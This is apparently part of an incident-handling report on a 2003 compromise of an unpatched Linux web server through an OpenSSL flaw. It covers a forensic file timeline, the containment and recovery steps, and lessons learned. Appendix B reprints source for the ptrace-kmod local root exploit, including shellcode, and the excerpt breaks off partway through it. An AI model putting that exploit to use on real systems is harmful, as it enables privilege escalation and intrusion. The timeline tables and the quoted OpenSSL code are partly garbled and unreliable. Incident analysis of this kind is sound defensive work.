<td>root</td>
<td>root</td>
<td>50792</td>
</tr>
<tr>
<td>/usr/include/asm/errno.h</td>
<td>6162 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240316</td>
</tr>
<tr>
<td>/usr/include/sys/errno.h</td>
<td>9834 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>98742</td>
</tr>
<tr>
<td>/usr/lib/gcc-lib/1386-glibc21-linux/gcc-2.91.66/include/stdio_lim.h</td>
<td>4096 m.c ddrwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>208070</td>
</tr>
<tr>
<td>/usr/include/getopt.h</td>
<td>6458 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>482895</td>
</tr>
<tr>
<td>/etc/rc.d/rc5.d/S90rpcmap</td>
<td>2628 ..c -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>210180</td>
</tr>
<tr>
<td># This is the ssh config file</td>
<td>696 m.c -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>225183</td>
</tr>
<tr>
<td>/usr/lib/fx/setrgrp.2</td>
<td>3870 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224675</td>
</tr>
<tr>
<td>/usr/include/linux/list.h</td>
<td>206268 m.c -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>258178</td>
</tr>
<tr>
<td>/usr/lib/fx/cons.saver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td># This is the ssh executable</td>
<td>206268 m.c -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>258178</td>
</tr>
<tr>
<td>/usr/lib/rx/scp</td>
<td>91748 mac -rwrxr-xr-</td>
<td>root</td>
<td>root</td>
<td>258182</td>
</tr>
<tr>
<td>/usr/include/linux/linkage.h</td>
<td>1231 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224673</td>
</tr>
<tr>
<td>/usr/include/linux/posix_types.h</td>
<td>1242 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224765</td>
</tr>
<tr>
<td>/dev/rd/cdb/aa.o</td>
<td>11756 m.c -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>258176</td>
</tr>
<tr>
<td>/etc/rc.d/rc2.d/S90rpcmap</td>
<td>2628 ..c -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>18140</td>
</tr>
<tr>
<td>/usr/include/asm/string.h</td>
<td>12145 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240390</td>
</tr>
<tr>
<td>/etc/rc.d/rc3.d/S90rpcmap</td>
<td>0 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111843</td>
</tr>
<tr>
<td>/etc/rc.d/rc4.d/S90rpcmap</td>
<td>3497 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240306</td>
</tr>
<tr>
<td>/etc/rc.d/rc3.d/S90rpcmap</td>
<td>13375 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240365</td>
</tr>
</tbody>
</table>

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```
/var/www/html/manual/mod/mod_ssl (deleted)
  0 a. -rw-r--r-- root root 111841 <sda5-dead-
111841>
/usr/bin/kgcc
  63408 a. -/rwxr-xr-x root root 306534
/usr/bin/egcs
  63408 a. -/rwxr-xr-x root root 306534
/usr/include/linux/threads.h
  227116 a. -/rwxr-xr-x root root 306474 /usr/bin/as
  422 a. -/rwxr--r-- root root 224864
/usr/lib/gcc-lib/i386-glibc21-linux/egcs-2.91.66/include/stdarg.h
  0 a. -rw-r--r-- root root 159714 <sda5-dead-
159714>
/dev/rd/cdb/voda
  5581 a. -/rw-r--r-- root root 240404
/usr/include/asm/vm86.h
  5066 a. -/rw-r--r-- root root 240298
/usr/include/asm/atomic.h
  5794 a. -/rw-r--r-- root root 98740
/usr/lib/gcc-lib/i386-glibc21-linux/egcs-2.91.66/include/stdarg.h
  0 a. -rw-r--r-- root root 159714 <sda5-dead-
159714>
/dev/rd/cdb/x
  742 a. -/rw-r--r-- root root 258185
/bin/zz
  85 a. -/rw-r--r-- root root 224498
/usr/include/linux/config.h
  1282588 a. -/rwxr-xr-x root root 480125
/lib/libc-2.2.4.so
  4096 m.c d/rwxr-xr-x root root 480077
/bin
  80131 a. -/rw-r-xr-x root root 224460
/usr/include/linux/autoconf.h
  1345 c -/rwxr-xr-x root root 258184
/dev/rd/cdb/cleaner
  8268 c -/rwxr-xr-x root root 258186
/dev/rd/cdb/sl2y
  526 m.c -/rwxr-xr-x 30 root root 258180
/usr/lib/.fx/sched_host.2
  967 c -/rwxr-xr-x root root 258190
/dev/rd/cdb/str.sh
  8268 c -/rwxr-xr-x root root 258187
/dev/rd/cdb/sl3y
  248 a. -/rwxr--r-- root root 240303
/usr/include/asm/cache.h
  1440304 a. -/rwxr-xr-x root root 18735
/usr/lib/gcc-lib/i386-glibc21-linux/egcs-2.91.66/include/cl.h
  0 mac -rwxr-xr-x root root 143771 <sda5-dead-
143771>
/etc/rc.d/rc4.d/S90rpcmap
  2628 c -/rwxr-xr-x 30 root root 209975
  0 a. -/rwxr-xr-x root root 159713 <sda5-dead-
159713>
  0 mac -rwxr-xr-x root root 143770 <sda5-dead-
143770>
/usr/lib/crti.o
  1220 a. -/rw-r--r-- root root 321499
/dev/rd/cdb/wpe
  8095 c -/rwxr-xr-x root root 258192
  0 mac -rwxr-xr-x root root 143769 <sda5-dead-
143769>
/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp0
  2359 a. -/rw-r--r-- root root 240364
/usr/include/asm/posix_types.h
  4211 a. -/rw-r--r-- root root 224666
/usr/include/linux/kernel.h
  0 a. -/rw-r--r-- root root 159712 <sda5-dead-
159712>
  0 mac -rwxr-xr-x root root 143768 <sda5-dead-
```
```bash
439  .a. -rw-r--r-- root  root  224903 /usr/include/linux/version.h
1506 .a. -rw-r--r-- root  root  224772 /usr/include/linux/prefetch.h
1926 .a. -rw-r--r-- root  root  18744 /usr/lib/gcc-lib/i386-glibc21-linux/egcs-2.91.66/specs
76968 .a. -rw-r--r-- root  root  18742 /usr/lib/gcc-lib/i386-glibc21-linux/egcs-2.91.66/libgcc.a
13399 ..c -.rw------- root  root  258189 /dev/rd/cdb/st
401750 .a. -rwrxr-x-x root  root  321412 /usr/lib/libbfd-2.11.90.0.8.so
4096 m.c drwxr-xr-x 30 root  root  258174 /usr/lib/.fx
2259 .a. -rw-r--r-- root  root  224850 /usr/include/linux/string.h
22790 ..c -.rw------- root  root  258188 /dev/rd/cdb/smurf5
10360 .a. -rw-r--r-- root  root  321498 /usr/lib/libcc.a
862 .a. -rw-r--r-- root  root  321500 /usr/include/linux/rhconfig.h
0 .a. -rw------- root  root  159710 <sda5-dead-
17190 m.c d/rwxr-x-x 30 root  root  481492 /usr/lib/perl5/site_perl/5.6.0/i386-linux/auto/DBD (deleted-realloc)
87792 .a. -rwrxr-x-x root  root  402741 /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp
3284 .a. -rw-r--r-- root  root  240354 /usr/include/asm/segment.h
2769 .a. -rw------- root  root  224878 /usr/include/linux/types.h
0 mac -rwx------ root  root  143746 <sda5-dead-
0 mac -rwrxr-x-x root  root  143772 <sda5-dead-
4267 .a. -rw-r--r-- root  root  224791 /usr/include/linux/rhconfig.h
5725 .a. -rw-r--r-- root  root  224846 /usr/include/linux/spinlock.h
0 mac -rwrxr-x-x root  root  143773 <sda5-dead-
152 .a. -rw-r--r-- root  root  240371 /usr/include/asm/segment.h
0 mac -rwx------ root  root  143747 <sda5-dead-
0 .a. -rw-r--r-- root  root  111822 <sda5-dead-
5725 .a. -rw-r--r-- root  root  224846 /usr/include/linux/spinlock.h
0 mac -rwrxr-x-x root  root  143773 <sda5-dead-
152 .a. -rw-r--r-- root  root  240371 /usr/include/asm/segment.h
0 mac -rwx------ root  root  143747 <sda5-dead-
0 .a. -rw-r--r-- root  root  111829 <sda5-dead-
0 .a. -rwrxr-x-x root  root  159709 <sda5-dead-
0 mac -rwrxr-x-x root  root  143767 <sda5-dead-
330 mac -rw-r--r-- 30 root  root  258181 /usr/lib/.fx/sched_host.2.pub

##### looks like log cleaning
Thu Jun 05 2003 13:00:12 0 m.c -rwrxr-x-x root  root  159713 <sda5-dead-
159713> 0 m.c -rw-r--r-- root  root  111822 <sda5-dead-
111822> 0 m.c -rwrxr-x-x root  root  111842 <sda5-dead-
111842> 6055 .a. -rw-r--r-- root  root  95846 /var/log/dmesg
159712> 0 m.c -rw-r--r-- root  root  159712 <sda5-dead-
```
<table>
<thead>
<tr>
<th>Permissions</th>
<th>Group</th>
<th>User</th>
<th>Size (bytes)</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>159712</td>
<td>/var/www/html/manual/mod/mod_ssl (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111820</td>
<td>/var/mailman/cgi-bin (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111823</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111821</td>
<td>/var/log/config.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111829</td>
<td>/var/log/config.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111826</td>
<td>/var/log/iscsi.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111832</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111835</td>
<td>/var/www/html/manual/mod/mod_ssl (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111830</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111824</td>
<td>/var/mailman/cgi-bin (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111822</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111827</td>
<td>/var/mailman/cgi-bin (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111840</td>
<td>/var/log/iscsi.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111825</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111819</td>
<td>/var/log/config.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111821</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111833</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111831</td>
<td>/var/log/config.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111830</td>
<td>/var/log/htmlaccess.log</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111826</td>
<td>/var/mailman/cgi-bin (deleted)</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111830</td>
<td>/var/log/htmlaccess.log</td>
</tr>
</tbody>
</table>
#####**** The attacker deleted j0k3r directory from /var/tmp at this time
Thu Jun 05 2003 13:00:36        0 mac d/drwxr-xr-x root     root     159707
/var/lib/pgsql (deleted)
4096 m.. d/drwxrwxrwt root     root     15969    /var/tmp
0 mac drwxr-xr-x root     root     159707 <sda5-dead-
#### The attacker runs IPtables which loads these modules (?), Probably, he looks at the local firewall to see if that is what blocking access to his backdoor listeners on port 20, 8025 which he started when he ran the S90rpcmap script

Thu Jun 05 2003 13:01:23  18660 .a. -/rw-r--r-- root  root 112353
/lib/modules/2.4.7-10/kernel/net/ipv4/netfilter/ip_tables.o

Thu Jun 05 2003 13:01:23  4004 .a. -/rw-r--r-- root  root 112373
/lib/modules/2.4.7-10/kernel/net/ipv4/netfilter/iptable_filter.o

#### The attacker at least ran the iptables at least twice (note the 30 sec gap)

Thu Jun 05 2003 13:01:53  76648 .a. -/rw-r--r-- root  root 480698
/sbin/iptables

#### This isn't yet matched up in the network traffic, but it looks like the user gets a script with the shell code for suckIT It is likely that he went out to get SuckIt because it has the capacity to "shovel shell" when he sends the trigger string on the port he knows will make it through the firewall.

Thu Jun 05 2003 13:02:42  3956 .a. -/rw-r--r-- root  root 225966  /etc/wgetrc

Thu Jun 05 2003 13:02:42  7317 .a. -/rw-r--r-- root  root 208271
/usr/share/ssl.openssl.cnf

Thu Jun 05 2003 13:03:46  4096 m.c d/drwxr-xr-x root  root 258195
/usr/lib/.w

Thu Jun 05 2003 13:03:46  29584 m.c -/rwxr-xr-x root  root 258197
/usr/lib/.w/sk

Thu Jun 05 2003 13:03:46  61440 m.c d/drwxr-xr-x root  root 320001
/usr/lib

Thu Jun 05 2003 13:03:46  29584 mac -/rwxr-xr-x root  root 481493
/sbin/init

Thu Jun 05 2003 13:03:46  8192 m.c d/drwxr-xr-x root  root 480091
/sbin

Thu Jun 05 2003 13:03:46  26636 m.c -/rwxr-xr-x root  root 481493
/sbin/initsk12

#### HEATHER'S UNSUBSTANTIATED SPECULATION = It looks like this attackers goal was to use us as a DDoS Platform.

#### at further internal compromise...

#### The following activity is consistent with the system's administrator doing some
troubleshooting
##### on the system. Included is a system reboot, and the effects of the attackers
sniffer program.
##### This timeline ends with the hard shutdown performed on Friday 06/06
##### I have edited out most of the sysadmin activity for compromise event clarity and
brevity. We saw the admin logs in and starts using wine and doing standard
troubleshooting stuff How do we know it's the admin? Well he uses wine for one also there
isn't any more network traffic to this machine from the hacker; also the time includes
activity the admin specifically mentioned working on.

##### I preserved this for the timestamp otherwise it isn't very interesting
Thu Jun 05 2003 13:18:39 4096 m.c d/drwxr-xr-x root     root     480085   /home

Admin has been trouble shooting ntp drift, here we see the hackers init
Thu Jun 05 2003 15:22:17 60 .a. -/-rw------- root     root     229393
/etc/ioctl.save

Hacker's version of init controlling the system shutdown
Thu Jun 05 2003 15:25:59 869328 .a. -/-rwxr-xr-x root     root     321366
/usr/lib/libcrypto.so.0.9.6
/lib/libgcc_s.so.1.2.1-20010905.so.1
/etc/rc.d/init.d/crond
/var/run/crontab.pid
/usr/lib/.fx/sched_host.2
/usr/lib/.fx/random_d.2
/usr/sbin/crond
/var/run/cron.pid
/lib/libssl.so.0.9.6
/dev/rd/cdb/aa.o
/etc/rc.d/rc3.d/S90rpcmap
/var/log/httpd/coda/mod_jk.log
/lib/libutil-2.2.4.so
/etc/crontab
/dev/rd/cdb/cc.o
/var/lock/subsys/crond
/usr/lib/.fx/setrgrp.2
/var/run/coda-httpd.pid
/etc/cron.d/sysstat
Thu Jun 05 2003 15:26:00 4096 m.c d/drwxr-xr-x 30 root     root     258175
/dev/rd/cdb
/etc/rc.d/rc3.d/S90rpcmap

/home
There was no particular countermeasure that would have completely prevented the initial attack with the exception of having had the machine appropriately patched, but we were pretty lucky that the firewall did not allow the hacker to have access to his backdoor listeners. This caused him to attempt the SuckIT install over Adore, which completely destabilized the system and caused the hacker to lose his access.

Another measure that was not fully functional at the time, which may have potentially prevented damage, was the automatic scan blocking system. This system defines a threshold for number of packets than can be sent to an interally unresolved host before the source IP address loses access to the network, but this system was undergoing some maintenance at the time of the attack and was not functional.
**Containment**

In general, the containment steps for this intrusion were taken before the comprehensive analysis was finished, but the completed analysis indicated that the steps taken were appropriate for the attack.

The first containment step was to explicitly block the J0K3r’s machine at the firewall. We decided to be really heavy handed with the block while we investigated the situation and so issued a block on the supernet as shown in Figure 19. A check of the rawhois gave us the domain to block.

**Figure 20: Block command issued at firewall**

```
; route: 220.72.0.0/13
; descr: KORnet operation Center(Korea Telecom)
; origin: AS4766
; mnt-by: MAINT-AS4766
; changed: young38@soback.kornet.net 20020902
; source: RARB
object-group network deny-outside-host
network-object 220.72.0.0 255.248.0.0
```

The system administrator had already moved the web service and content to a spare correctly configured machine. As the system owner, he indicated that the incident handling team was authorized to do a hard crash of the machine to enable us to get the best forensic image.

Two team members were selected to obtain the forensic image. We went to the machine’s physical location with our rudimentary jump-kit in hand. Basically, we had our notebooks, and a cdrom containing the Knoppix version 3.1 distribution of the Linux operating system. Once at the machine, one team member hard crashed the machine using the “abrupt power cable removal” technique. Then one team member stayed at the system console, while the other inserted the cdrom, and plugged the machine back in. Vocal cues were used to ensure that the machine booted from the cdrom so as not to corrupt any data on the hard disk. Figure 20 details the procedure used to take the forensic image and store it on the evidence locker machine. Each team member recorded the commands and results as they were entered into their respective logbooks.

**Figure 21: Procedure followed to get forensic image**

```
boot: knoppix 2 lang us noswap
// got shell access at 12:35 p.m.
# dmesg | grep hd
# ps -eaf | grep -I pump
# kill -9 227
# ps -eaf | grep pump
# ifconfig -a
```
The team had been through this procedure before making use of the evidence locker machine, and everything completed error free, and appropriately documented.

**Eradication**

Once the extent of the compromise had been conclusively determined, we were quickly able to eradicate the problem. There had truly been minimal damage considering the scope of the intrusion. Had the J0k3r been able to use that machine as a platform to attack other internal machines or had he been able to recover the stolen passwords, it would probably have been a whole other story. As it was, the machine’s operating system and web server software was completely reinstalled. In addition, the IP addresses associated with the J0k3r’s attack were added to the explicit block list at the firewall, and the passwords were changed for the accounts that had been compromised.

With the forensic analysis complete, all evidence supported the notion that the root cause of this compromise was an unpatched machine with a known vulnerability being open to the Internet. There was also not any indication that our IP space was specifically targeted, the hacker most likely just picked our segment randomly. I must indicate, however, that that is purely speculation on my part.
Recovery

As with the eradication step, the primary element used to recover the system, was a complete rebuild. The forensic analysis indicated that the J0k3r did not alter the web server content, which was hosted on a remote file server, so recovery only required rebuilding the local server operating system and associated web server software. The system administrator used the standard automatic system build and patch procedure to accomplish this, but this time, he verified that the procedure completed successfully. The administrator also contacted the security team to evaluate the status of the machine. This prompted a complete Nessus vulnerability assessment, and an attempt to compromise the machine with the openssl-too-open tool. Once the machine checked out, the firewall penetration was re-enabled to allow the machine to provide its externally accessible web services.

Lessons Learned

Intrusion Analysis
Prompted by notification of a system’s "strange" behavior, and an alert generated by a site intrusion detection system, we determined that a machine on site had been compromised. The alert indicated by the Snort IDS was an "id check returned root" event that occurred on port 443, which is expected to host only encrypted traffic. The IDS was running a default rule set with some local rules added.

The web server machine had been built from scratch on June 3rd. It apparently did not complete the site standard build process or the security configuration so patches were omitted. In that vulnerable state, the server was put into production accessible to the open Internet. During a scan of our domain space around 2:15 am on June 5, the server was attacked with a buffer overflow designed to exploit an error in OpenSSL’s key exchange. J0k3r left this connection idle, and it was timed-out by the firewall at 4:19 am. J0k3r made an attempt to use the closed connection at 12:57 pm the same day, and after apparently determining that the connection had been closed, repeated the initial attack process, including the scanning. Once the attacker successfully regained remote access, he then utilized a local root exploit, the ptrace exploit, to elevate his privilege. Over the course of the incident, a suite of DOS attack tools was copied to the system. In addition, a disguised backdoor listening SSHD process, and two LKM rootkits, Adore and SuckIT were installed. There was no further successful activity by the attacker after the installation of the SuckIT rootkit.

The machine’s system administrator had noticed that the machine was not performing correctly. Problems with ntp were the initial indicator on the afternoon of June 5th that something was critically wrong with the machine, at which time he began diagnosis of the build failure. The administrator notified the site computer security team on the morning of June 6 that the machine had been
available to the open Internet while unpatched. The alert on the IDS console was discovered based on this input. Further investigation by the incident handling team showed the extent of the compromise. The SuckIT binary that had been installed included a password sniffer, which captured the site's central root password as well as the web server root password, and the administrator's personal account password. It is worth noting that indications are that the attacker never retrieved the password collection file. Also, there were no indications that the DOS tools were used, and no indications that any other machine, onsite or off, had been compromised.

The network traffic provided a signature that implicated a variant of Solar Eclipse’s "openssl-too-open” which was later determined to be most likely the tool called “a” contained in the bundle c.tgz. In addition to the network indicators, logs on the host suggested an SSL related problem at the time of the attack. The local ptrace privilege exploit tool was determined most likely to be a tool called “pp.”

There were several elements that minimized the impact of this attack. One that is amusing to note is that it appears that the attacker's installation of two LKMs may have destabilized the system enough to thwart further activity on his part.

The incident analysis was done using log files from a variety of sources, and a forensic image of the hard drive taken after a hard crash of the system. During the investigation, the machine was rebuilt completely and returned to service.

Other Lessons Learned

The primary cause of this incident was the fact that no check had been instituted to verify that the automated build and patch process had been completed before the machine returned to service. This check needs to be incorporated to the build procedure to prevent such an event from happening again. Also, a special rule addition was made for the IDS system that clearly indicates when a clear-text id check occurs on a port generally reserved for encrypted traffic. This will enable the addition of paging the security team on the more critical attack signature, as the “id check returned root” is frequently a false positive. Further, we determined that more care should be taken to ensure that all defensive systems are working as the layered defense is again shown to be the best security strategy.

The final recommendation for lessons to take away from this incident is that the Institute must complete its official policy and procedure documentation for dealing with intrusion handling.
Appendix A: OpenSSL's SSL_SESSION structure and get_client_master_key function

The SSL_SESSION structure is the dynamically allocated data structure that is abused with the openssl exploits.

typedef struct ssl_session_st
{
  int ssl_version; /* what ssl version session info is
                   * being kept in here? */

  /* only really used in SSLv2 */
  unsigned int key_arg_length;
  unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
  int master_key_length;
  unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
  /* session_id - valid? */
  unsigned int session_id_length;
  unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];
  /* this is used to determine whether the session is being reused in
   * the appropriate context. It is up to the application to set this,
   * via SSL_new */
  unsigned int sid_ctx_length;
  unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

  int not_resumable;

  /* The cert is the certificate used to establish this connection */
  struct sess_cert_st /* SESS_CERT */ *sess_cert;

  /* This is the cert for the other end.
   * On clients, it will be the same as sess_cert->peer_key->x509
   * (the latter is not enough as sess_cert is not retained
   * in the external representation of sessions, see ssl_asn1.c). */
  X509 *peer;

  /* when app_verify_callback accepts a session where the peer's certificate
   * is not ok, we must remember the error for session reuse: */
  long verify_result; /* only for servers */

  int references;
  long timeout;
  long time;

  int compress_meth; /* Need to lookup the method */

  SSL_CIPHER *cipher;
  unsigned long cipher_id; /* when ASN.1 loaded, this
                           * needs to be used to load
                           * the 'cipher' structure */

  STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers */

  CRYPTO_EX_DATA ex_data; /* application specific data */
/* These are used to make removal of session-ids more
 * efficient and to implement a maximum cache size. */
struct ssl_session_st *prev,*next;
} SSL_SESSION;

The function that processes the incoming CLIENT_MASTER_KEY message
packet is called get_client_master_key, and is where the coding flaw is. The
code accepts more data that it expected allowing the SSL_SESSION structure to
be overflowed.

static int get_client_master_key(SSL *s)
{
    int is_export,i,n,keya,ek;
    unsigned long len;
    unsigned char *p;
    SSL_CIPHER *cp;
    const EVP_CIPHER *c;
    const EVP_MD *md;
    p=(unsigned char *)s->init_buf->data;
    if (s->state == SSL2_ST_GET_CLIENT_MASTER_KEY_A)
    {
        i=ssl2_read(s,(char *)&(p[s->init_num]),10-s->init_num);
        if (i < (10-s->init_num))
            return(ssl2_part_read(s,SSL_F_GET_CLIENT_MASTER_KEY,i));
        s->init_num = 10;
        if (*(p++) != SSL2_MT_CLIENT_MASTER_KEY)
            if (p[-1] != SSL2_MT_ERROR)
                ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR);
            else
                SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_PEER_ERROR);
            return(-1);
        cp=ssl2_get_cipher_by_char(p);
        if (cp == NULL)
            ssl2_return_error(s,SSL2_PE_NO_CIPHER);
            SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_NO_CIPHER_MATCH);
        return(-1);
        s->session->cipher= cp;
        p+=3;
        n2s(p,i); s->s2->tmp.clear=i;
    }
n2s(p,i); s->s2->tmp.enc=i;
n2s(p,i); s->session->key_arg_length=i;
s->state=SSL2_ST_GET_CLIENT_MASTER_KEY_B;
}

/* SSL2_ST_GET_CLIENT_MASTER_KEY_B */
p=(unsigned char *)s->init_buf->data;
keya=s->session->key_arg_length;
len = 10 + (unsigned long)s->s2->tmp.clear + (unsigned long)s->s2->tmp.enc +
(unsigned long)keya;
if (len > SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER)
{
    SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_MESSAGE_TOO_LONG);
    return -1;
}

n = (int)len - s->init_num;
i = ssl2_read(s,(char *)&(p[s->init_num]),n);
if (i != n) return(ssl2_part_read(s,SSL_F_GET_CLIENT_MASTER_KEY,i));
p += 10;

memcpy(s->session->key_arg,&(p[s->s2->tmp.clear+s->s2->tmp.enc]),
(unsigned int)keya);

if (s->cert->pkeys[SSL_PKEY_RSA_ENC].privatekey == NULL)
{
    ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR);
    SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_NO_PRIVATEKEY);
    return(-1);
}
i=ssl_rsa_private_decrypt(s->cert,s->s2->tmp.enc,
    &(p[s->s2->tmp.clear]),&(p[s->s2->tmp.clear]),
    (s->s2->ssl2_rollback)?RSA_SSLV23_PADDING:RSA_PKCS1_PADDING);

is_export=SSL_C_IS_EXPORT(s->session->cipher);

if (!ssl_cipher_get_evp(s->session,&c,&md,NULL))
{
    ssl2_return_error(s,SSL2_PE_NO_CIPHER);
    SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_PROBLEMS_MAPPING_CIPHER _FUNCTIONS);
    return(0);
}

if (s->session->cipher->algorithm2 & SSL2_CF_8_BYTE_ENC)
{
    is_export=1;
    ek=8;
}
else

    ek=5;

/* bad decrypt */
#endif
/* If a bad decrypt, continue with protocol but with a
/* random master secret (Bleichenbacher attack) */
if ((i < 0) ||
   ((!is_export && (i != EVP_CIPHER_key_length(c)))
    || (is_export && (i != ek) || (s->s2->tmp.clear+i !=
       (unsigned int)EVP_CIPHER_key_length(c))))))
{
  ERR_clear_error();
  if (is_export)
    i=ek;
  else
    i=EVP_CIPHER_key_length(c);
  RAND_pseudo_bytes(p,i);
}
#else
if (i < 0)
{
  error=1;
  SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_BAD_RSADecrypt);
}
/* incorrect number of key bytes for non export cipher */
else if (((!is_export && (i != EVP_CIPHER_key_length(c)))
          || (is_export && (i != ek) || (s->s2->tmp.clear+i !=
             EVP_CIPHER_key_length(c))))))
{
  error=1;
  SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,SSL_R_WRONG_NUMBER_OF_KEY_BI
         TS);
}
if (error)
{
  ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR);
  return(-1);
}
#endif
if (is_export) i+=s->s2->tmp.clear;
s->session->master_key_length=i;
memcpy(s->session->master_key,p,(unsigned int)i);
return(1);
Appendix B: ptrace-kmod.c

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
   "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
   "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
   "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
   "\x00\x00\xcd\x80\x89\xcd\x9d\x89\xcd"
   "\x40\xcd\x80\xe8\xcd\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
```c
{
    perror(msg);
    kill(parent, SIGKILL);
    kill(child, SIGKILL);
    kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
    char buf[MAXPATHLEN + CODE_SIZE];
    unsigned long * src;
    int i, len;

    memcpy(buf, cliphcode, CODE_SIZE);
    len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
    if (len == -1)
        fatal("[-] Unable to read /proc/self/exe");

    len += CODE_SIZE + 1;
    buf[len] = '\0';

    src = (unsigned long*) buf;
    for (i = 0; i < len; i += 4)
        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
            fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
    struct user_regs_struct regs;

    if (gotchild++ == 0)
        return;

    fprintf(stderr, "[+] Signal caught\n");

    if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
        fatal("[-] Unable to read registers");

    fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
    putcode((unsigned long *)regs.eip);

    fprintf(stderr, "[+] Now wait for suid shell...\n");

    if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
        fatal("[-] Unable to detach from victim");

